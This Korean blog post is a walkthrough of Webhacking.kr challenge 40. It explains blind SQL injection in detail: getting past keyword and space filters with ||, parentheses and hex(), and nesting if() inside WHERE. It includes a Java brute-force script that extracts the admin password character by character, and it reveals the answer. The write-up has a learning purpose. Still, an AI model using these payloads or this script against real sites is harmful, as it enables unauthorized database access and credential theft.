본문 바로가기
[웹해킹]/[Webhacking.kr]

[Webhacking.kr] 40번

by Hevton 2020. 11. 5.
반응형

간단한 로그인 창이 보인다

로그인을 눌러보면 'Success -  guest' 라는 화면으로 이동된다.

 

 

여러 값들을 넣어본 결과 아래와 같은 결과를 얻을 수 있었다.

필터링 : or, 공백, ascii, ord, ', "(필터링은 안되나, 제기능을 못함), select, limit

필터링 대체 : or -> ||, 공백 -> (), acii,ord -> hex

핕터링 되는 문자를 넣으면 access denied가 뜨고
로그인이 되면 success - id 뜨고
로그인 실패 시 failure가 뜸.

 

그리고 no 와 id와 pw를 쿼리로 넘겨줄 때 이 컬럼들(아직은 컬럼명이 확실하진 않음)이 어떠한 순서로 배치되는지도 정말 중요하다.

 

여러 경우가 있겠다

 

no = x or 1=1 and id = x and pw = x

 

id = x and pw = x and no = x or 1=1

.

.

.

 

어느 순서대로일지 생각하면서, no=2||1=1 해보고 id pw 말도안되는값을 넣어본 결과

 

id = x and pw = x and no = x or 1=1  -> 이 순서임이 채택되었다.

 

그리고 0번째 데이터에 guest 있는 모양이다.

 

또한 99||(no=2) 하니 admin의 패스워드 입력 사이트로 이동하는 걸로 보아 admin의 no가 2인 것을 알 수 있었다.

 

이렇게 조건식이 참일 때 로그인이 되고, 거짓일 때 로그인이 안되는 결과를 알 수 있으니 Blind Sql Injection 기법을 사용하여 답을 도출해보면 되겠다.

 

 

∙ 여행

 

처음엔 select가 필터링 대상이 아닌 줄 알고, inforamtion_schema 데이터베이스를 통해 값을 도출하고자 데이터베이스의 길이부터 알아보고자 했었다.

 

데이터 베이스의 길이를 알아보고자 숫자를 차례로 넣어봤다. 

일단 database() length() access deny 안뜨는걸 보니 필터링은 안되는 모양.

 

계속 failure 뜨다가

99||length(database())=10 => guest로 로그인 됌.

이로써 데이터베이스 10자리임을 알게 되었고, hex()를 통해 데이터 베이스 명도 알아본 뒤에 SELECT 구문을 통해 접근하려 했다. 하지만 이 과정에서 알고보니.. SELECT문은 필터링상태였다.

 

아, 참고로 SELECT가 나온 김에 한가지 더하자면 헷갈리지 말아야 것이 있다.. 왠진모르겠지만 자주 헷갈림.

mysql> select * from student where id = (SELECT 1);

이렇게 select를 안에 넣어도 결과가 나온다. 1을 넣으면 id 가 1인것, 2를 넣으면 id가 2인것.

매번 문제를 풀면서도 자꾸 한번씩 ? 하며 흠칫하는 문법.

 

 

∙ 컬럼명 확인

 

SELECT가 필터링인 상태로 보아, 이런 방식의 접근으로 문제를 풀 순 없을 것으로 보였다. 데이터베이스명을 알고 난 뒤엔 SELECT 문으로 테이블 명을, 그리고 그 뒤에 컬럼 명과 컬럼들의 데이터를 알아보고자 했으니 말이다.

 

따라서 다른 방식으로의 접근을 시도했다.

 

일단 데이터베이스 안에서 현재 테이블에 쓰이는 컬럼명이 no, id, pw가 맞는지 확인이 필요하다.

 

1. 99||(no=1) 실행이 되는 걸 보고, no  컬럼이 존재한다는것 확인

 

2. 99||((id)=(0x6775657374)) 를 통해 컬럼명이 id인것도 확인 (참고로 0x6775657374는 guest의 헥사값)

 

3. 99||((pw)=(0x6775657374)) 통해 컬럼명이 pw인것도 확인 (참고로 0x6775657374는 guest의 헥사값)

 

이로써, 실제 웹사이트에 보이는 데이터 키값이 그대로 컬럼명에 쓰인다는 것을 확인했다.

 

 

∙ admin의 패스워드 길이 확인

 

사실 우리가 알아봐야 할 것은 패스워드 컬럼에 존재하는 admin의 패스워드값이므로 다른 컬럼명들은 사실 알아볼 필요까진 없지만 알아서 나쁠건 없으니 모두 알아봤다. 그리고 알아본 결과로 우리는 패스워드 컬럼명이 pw인 것을 알게 되었으니 이를 이용하면 되겠다.

 

no 입력창을 통해 아래와 같은 방식으로 공격을 시도했다.

99||no=if(length(pw)=x,99,2)

pw 컬럼엔 다양한 데이터가 있을 수 있고, 일단 우리가 알고있는건 id가 admin인 데이터와 id가 guest인 데이터(이건 guest)이다.

 

where와 if를 중첩시켜서 데이터를 얻어내는 방식이다. (우리가 no, id, pw에 값을 입력하면 쿼리가 'SELECT ? FROM ? WHERE id=guest and pw=guest and no=1 식으로 전달되게 되므로 no 입력칸에 if를 넣어 중첩시키는것)

즉, 아래와 같은 경우를 만드는 것.

where no=if(A, B, C) 

이런 식을 갖게 되면, 가능성이 두 가지 있다.

 

A가 참일때 : A가 참이면서 no=B인 경우

A가 거짓일때 : A가 거짓이면서 no=C인 경우

 

+ 헷갈릴 수 있는 점, 당연한 얘기겠지만..

조건식의 판별 데이터가 하나 또는 상수데이터일 경우 당연히 한 가지 경우에 대한 결과만 쿼리의 결과값으로 출력되겠지만, 두개 이상부터는 두 가지 경우에 대해 결과값으로 얻을 수도 있다.(A가 참, A가 거짓을 만족하는 데이터들이 함께 넘겨지면 두 가지 경우에 대해 각각 데이터들이 판별을 갖게 되고, 동시에 각 조건을 만족하는 데이터들이 존재하기까지 하면 두 가지 경우에 대해서 모두 출력될 수 있다. 당연한..얘기!)

 

자 이제 다시 돌아와서,

99||no=if(length(pw)=x,99,2)

 

where와 if가 중첩된 조건이 "참의 경우"인 ‘패스워드가 x이면서 넘버가 99’인 없는 경우를 만들어서 무조건 거짓을 만든다. 그렇게 함으로써 현재 조건식에 넘어가는 데이터가 여러개인 상황에서 "참의 경우"의 결과값이 섞이지 않은 순수한 "거짓인 경우"만 오로지 결과값으로 받아낼 수 있다. 그리고 그 "거짓의 경우"인 ‘패스워드가 x자리가 아니면서 넘버가 2’인 경우에 대한 쿼리를 만들어서 x 에 값을 대입하며 결과를 살폈다. 그리고 계속 success가 뜨던 것이 10을 넣게 되니 failure가 뜬다.

99||no=if(length(pw)=10,99,2) -> faliure. // 패스워드는 10자리

패스워드가 10자리가 아니면서 no=2인것도 없다는 뜻. 

=> no 2 패스워드는 10자리다.

 

 

+ 이를 자세히 설명하고자 아래 예시를 보입니다.

일단 where 와 if 가 중첩된 경우 상상가는 그대로 두 조건이 &&로 묶입니다.

mysql> select * from student;
+----+--------+-----+---------+---------------+
| id | name   | age | job     | profile       |
+----+--------+-----+---------+---------------+
|  1 | HEVTON |  25 | BaekSoo | Seize the day |
|  2 | pyro   |  25 | BaekSoo | Yadon         |
|  3 | Marco  |  23 | Student | Good day      |
|  4 | James  |  23 | Student | Be quiet      |
+----+--------+-----+---------+---------------+
4 rows in set (0.00 sec)

mysql> select * from student where id=if(length(profile)=5, 2, 1);
+----+--------+-----+---------+---------------+
| id | name   | age | job     | profile       |
+----+--------+-----+---------+---------------+
|  1 | HEVTON |  25 | BaekSoo | Seize the day |
|  2 | pyro   |  25 | BaekSoo | Yadon         |
+----+--------+-----+---------+---------------+
2 rows in set (0.00 sec)

if의 조건식으로 컬럼명에 대해 넣었기 때문에 ( length(컬럼명) ) 컬럼에 대한 전체 데이터가 모두 도출된다.

 

그리고 전체 데이터들은 각각 조건식에 대해 판단과정을 갖게 된다.

 

그리고 아래 두 판단 과정중 한 과정을 거치게 된다.

 

profile 길이가 5이면서, id=2인 데이터

profile 길이가 5가 아니면서, id=1인 데이터

 

profile의 전체 데이터가 조건식을 가지면서, 길이가 5인 것들은 id가 2인지도 확인하는 과정을 거치고

길이가 5가 아닌 것들은 id가 1인지 확인하는 과정을 거치게 된다.

 

 

if(3>5, A, B) 또는 if(database()>0, A, B) 처럼 (데이터베이스 길이는 5라고 가정)

상수식을 넘겨주거나, 조건식의 판단 데이터가 명확한 하나여서 결과도 하나인 경우 단순하게 식이 참/거짓 임에 따라 결과가 A 아니면 B 이렇게 둘 중 하나로만 갈리게 되는데, 식에 여러 데이터를 넣어주게 되면서 각 데이터들이 전부 각각 조건식을 치르고 결과를 갖게 되는 것이다.

 

 

∙ admin의 패스워드 확인

 

이제 길이를 알았으니, 각 문자들을 도출해내야겠다. 문자들을 도출해낼 때, 현재 ascii, ord가 필터링이므로 hex를 사용한다.

hex(string $str) = 문자열을 아스키코드 헥사값으로 변환

Blind-Sql-Injection과정에서 이 hex를 사용하여 값을 도출해낼 때 주의점이 있다.

 

hex('A')=45, hex('a')=61 같은 숫자값은 따옴표가 상관없지만, 

hex('O')='4F' 처럼 문자가 될 경우엔 따옴표 없이는 비교할 수 없다는 주의점이 있다.

 

따라서 hex를 통해 맞비교를 해준다. 이번엔 인자로 문자가 아닌 십진수를 넣어서 말이다.

즉, hex('A')를 해주면 문자 A의 헥사값 41을 리턴하지만,  hex(65)를 해줘도 십진수 65의 16진수값인 41을 리턴해준다.

이런 과정을 통해 값을 얻어낼 생각이다.

 

패스워드는 10자리고, 아스키코드 표에 존재하는 16진수는 10진수 0부터 255까지 범위이므로

아래 과정을 프로그램으로 돌린다. 코드는 아래에 첨부하겠습니당..

99||no=if(hex(substr(pw,1~10,1))=hex(0~255),99,2)

-> luck_admin 나온다.

 

+ 그리고 항상 중요한 .. substr 시작 인덱스는 1부터인것..!!

 

이제 이걸 no 입력칸에 99||no=2를 입력해준 뒤 페이지를 이동해서 admin 로그인페이지로 이동한 뒤 넣어주면

끝!

 

[ JAVA / 돌린 프로그램 소스 ]

import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.URL;

public class web_40 {

    public static void main(String args[]) {
        try {
            for(int i = 1; i < 11 ; i++) { // pw=10자리
                for(int j = 0 ; j < 256 ; j++) // i는 자릿수, j는 문자값이 무엇인이 판별하기 위한 10진수값.
                {
                    StringBuilder sb = new StringBuilder();
                    // url 인코딩 된 상태
                    String str = "index.php?no=99%7C%7Cno%3Dif%28hex%28substr%28pw%2C"+i+"%2C1%29%29%3Dhex%28"+j+"%29%2C99%2C2%29&id=guest&pw=guest";
                    URL url = new URL("https://webhacking.kr/challenge/web-29/"+str);
                    HttpURLConnection hc = (HttpURLConnection) url.openConnection();
                    hc.setRequestProperty("Cookie", "PHPSESSID=본인의 세션id");

                    BufferedReader br = new BufferedReader(new InputStreamReader(hc.getInputStream()));
                    String s;
                    while ((s=br.readLine())!=null)
                        sb.append(s);

                    if(sb.indexOf("Failure")!=-1) { // 제 경우는 식의 전제조건이 Failure가 떠야 성공한 경우입니다.
                        System.out.print(String.format("%c", j));
                        break;
                    }
                }
            }

        } catch (Exception e) {
            System.out.println(e.getMessage());

        }
    }
}

 

반응형

'[웹해킹] > [Webhacking.kr]' 카테고리의 다른 글

[Webhacking.kr] 42번  (0) 2020.11.10
[Webhacking.kr] 41번  (0) 2020.11.10
[Webhacking.kr] 39번  (0) 2020.11.03
[Webhacking.kr] 38번  (0) 2020.11.03
[Webhacking.kr] 37번  (0) 2020.10.28